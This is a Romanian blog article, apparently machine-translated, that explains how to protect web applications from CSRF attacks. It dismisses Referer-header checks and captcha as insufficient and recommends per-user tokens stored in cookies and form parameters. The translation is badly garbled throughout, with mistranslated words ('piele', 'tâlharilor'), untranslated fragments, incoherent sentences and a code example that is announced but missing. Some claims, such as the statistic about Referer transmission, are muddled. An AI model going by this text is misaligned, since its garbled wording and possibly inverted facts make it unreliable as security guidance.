  • Utilizați un browser în „modurile private sau anonime” pentru a lucra cu site-uri importante (ideal, un browser pe site ^_^ și chiar mai bine, un computer: D).

Asta e tot. Acum să trecem la cea principală.

Protector din partea tâlharilor

După cum sa menționat, scurgerea are loc atâta timp cât sursa de alimentare este verificată corespunzător. Deci, atunci când dezvoltăm programe, trebuie să ne amintim funcționalitatea verificării acestui dispozitiv. Și ce ne vine în minte acum? Dreapta! Verificare referitor.

Referitor de verificare

Vă spun imediat, pentru cei care citesc articole din diagonală. Este putred (!) să vă bazați apărarea doar pe inversarea acestui titlu. De ce este uimitor? dat.

Să ne dăm seama mai întâi de ce se aplică această metodă.

Site-urile noastre web folosesc protocolul HTTP. Fiecare pachet din acest protocol constă dintr-un set de anteturi + în loc de pachet. Unul dintre aceste anteturi este Referer. Vіn mist adresa jerela tranziție. Exemplu banal: site-ul tău este stricat A, pe acest site esti presat sa trimiti pe site B, în acest moment, la introducerea antetului Referer, va fi inclusă adresa site-ului A. Acest lucru ar crea un mecanism ideal pentru desfacere, semnalând sosirea kistuvach-ului.

Și axa este o porcărie. Și în dreapta aici nu este că poți modifica referrerul (ce atacator rezonabil îi cerem victimei să schimbe referrerul și să urmeze instrucțiunile). Și adevărul este că, conform statisticilor mele, aproximativ 5% dintre clienți au transmisia Referer activată. Fie cinci sute de telefoane nu vor putea procesa de pe site în viitor, fie vor fi eliminate înainte de atac (în funcție de politica programului dvs.).

Păi, bine, bine, știu la ce te gândeai... Păi, de ce naiba cu 5%? Lasă-i să fie supărați, dar apoi decid că 95% este furat și cu asta ai suferit puțină vărsare de sânge. Dacă persoana care trimite în mod greșit adresa addendumului nostru sau este goală, atunci o confirmăm cu respect? Și axul s-a întors! Există o opțiune de a schimba browserul victimei încălcării fără a introduce referrerul (am scris despre asta)! Și voila! Toate sticlele par, ca înainte, revărsate.

În general, ca metodă independentă Metoda daneză Fără lăcătură.

Confirmare

Puteți strica captcha-ul fiecărui formular de trimitere și îl puteți arăta pentru a vă înregistra furnizorii de conturi pentru a le fura datele CSRF... Poate aș dori să renunț contul meu unui hacker, dar nu în acest fel sisteme...

Jetoane

Ei bine, acum există o singură modalitate corectă și de încredere.

Sens aceasta metoda Este indicat în parametrii adăugați că trebuie să plasați aceste „jetoane” înainte de a trimite fiecărei persoane, formularul de trimitere și așa mai departe. Iar atunci când cererea este eliminată, serverul este responsabil pentru verificarea prezenței token-ului în parametrii acceptați. Cel mai important, simbolul de piele pentru pielea koristuvach este vinovat că este unic și chiar mai frumos piele jetonul va fi unic.

Una dintre cele mai simple și mai fiabile aplicații de implementare este că un token este generat atunci când un utilizator nou este contactat pe piele și este instalat în cookie-urile utilizatorului și este, de asemenea, adăugat la parametrii formularelor și trimiterii pe pagină:

Și apoi, când eticheta de piele este eliminată, simbolul din cookie-uri este egal cu simbolul atribuit parametrilor formularului. Și din moment ce miros, atunci produsul este legal. Apoi, jetonul este generat din nou și instalat din nou în cookie-uri etc. prin miză.

Implementarea poate fi diferită, dar problema este că trecerea la token este dificilă, așa că trebuie să protejați pielea, forma pielii, partea pielii... Puteți proteja doar pagini/formulare/mesaj importante etc. Și există șansa de a rata oricare dintre ele.

Apreciez în mod deosebit formularul POST și mesajele chiar mai importante. POST în aplicațiile mele nu funcționează fără simbolul corect. Acest lucru reduce șansa de a uita să furi orice formă, așa că pur și simplu nu va fi folosit și o voi respecta cu adevărat.

Visnovok

Sunt sigur din acest articol că ați înțeles cum să vă protejați de atacurile CSRF.

 

 

Tse tsikavo: